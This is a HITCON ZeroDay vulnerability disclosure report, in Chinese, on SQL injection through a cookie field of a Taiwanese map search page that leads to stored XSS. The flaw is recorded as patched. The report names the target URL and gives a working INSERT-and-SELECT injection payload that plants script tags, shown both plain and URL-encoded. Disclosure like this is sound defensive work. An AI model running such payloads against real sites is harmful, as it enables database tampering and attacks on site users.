全國達康提供的地圖查詢功能存在資料庫注入漏洞及儲存型XSS - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2021-00080
  •  發信 Vendor: 台灣電子地圖服務網
  • Title: 全國達康提供的地圖查詢功能存在資料庫注入漏洞及儲存型XSS
  • Introduction: Cookie的QuerySQL欄位存在資料庫注入漏洞(SQL Injection)漏洞,並可利用此漏洞植入儲存型XSS

處理狀態

目前狀態

公開
Last Update : 2021/04/29
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2021/02/21 12:13:49 : 新提交 (由 阿美 更新此狀態)
  • 2021/02/22 08:23:30 : 新提交 (由 阿美 更新此狀態)
  • 2021/02/22 22:57:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/02/23 15:44:00 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/02/23 15:44:00 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/02/23 15:44:00 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/04/21 12:19:39 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2021/04/28 21:20:45 : 確認已修補 (由 阿美 更新此狀態)
  • 2021/04/29 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2021-00080
  • 通報者:gmwa (阿美)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://bot.map.com.tw/search_engine/showlist.asp

敘述

當瀏覽「http://bot.map.com.tw/search_engine/showlist.asp?page=1&name=OEMMap&Cmd=Map&ZoomPage=Map_Detail&Genus=twbank&GenusType=mapbranch&sqlchk=open」時,後端系統會將SQL查詢語句記錄在Cookie的QuerySQL欄位裡(圖1),正常結果只有1頁、7筆資料)。

只要修改QuerySQL的內容,再重新瀏覽上述網址,後端應用程式會直接使用QuerySQL的內容查詢資料庫。嘗試將QuerySQL的條件句(WHERE及之後)刪除,再重新瀏覽上述網址,發現回傳1839頁,確認可利用QuerySQL注入SQL語句(圖2)。

經嘗試將QuerySQL修改成「insert into oemdata(sno, name, addr, tel, fax, genus) values('ptest','<script>alert(/name/);</script>','滲透測試','<script>alert(/tel/);</script>','<script>alert(/fax/);</script>','TEST');select sno, genus, class, name, fax, addr, tel, GenusType, no, px, py, info, user from oemdata WHERE (Genus='twbank') AND (class = 'B1478') and (Name like '%%' or Name like '%%')」(URL Encode後為「insert%20into%20oemdata%28sno%2C%20name%2C%20addr%2C%20tel%2C%20fax%2C%20genus%29%20%20values%28%27ptest%27%2C%27%3Cscript%3Ealert%28%2Fname%2F%29%3B%3C%2Fscript%3E%27%2C%27%E6%BB%B2%E9%80%8F%E6%B8%AC%E8%A9%A6%27%2C%27%3Cscript%3Ealert%28%2Ftel%2F%29%3B%3C%2Fscript%3E%27%2C%27%3Cscript%3Ealert%28%2Ffax%2F%29%3B%3C%2Fscript%3E%27%2C%27TEST%27%29%3Bselect%20sno%2C%20genus%2C%20class%2C%20name%2C%20fax%2C%20addr%2C%20tel%2C%20GenusType%2C%20no%2C%20px%2C%20py%2C%20info%2C%20user%20from%20%20oemdata%20WHERE%20%28Genus%3D%27twbank%27%29%20AND%20%28class%20%3D%20%27B1478%27%29%20and%20%28Name%20like%20%27%25%25%27%20or%20Name%20like%20%27%25%25%27%29」),雖然頁面顯示500,內部錯誤,但已成功在資料庫新增一筆。

將QuerySQL修改成「select sno, genus, class, name, fax, addr, tel, GenusType, no, px, py, info, user from oemdata WHERE (Genus='TEST')」(URL Encode後為「select%20sno%2C%20genus%2C%20class%2C%20name%2C%20fax%2C%20addr%2C%20tel%2C%20GenusType%2C%20no%2C%20px%2C%20py%2C%20info%2C%20user%20from%20%20oemdata%20WHERE%20%28Genus%3D%27TEST%27%29」),再重新瀏覽,可發現成功建立儲存型XSS(圖3)

修補建議

1.若需要在session的不同網頁間交換資料,請利用後端的session變數儲存待交換的內容。Cookie及頁面的隱藏欄位並不具任何防護能力。
2.對於任何 輸出到網頁的內容都需要進行內容轉譯(Escape),可有效避免大多數的跨站腳本(XSS)攻擊。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;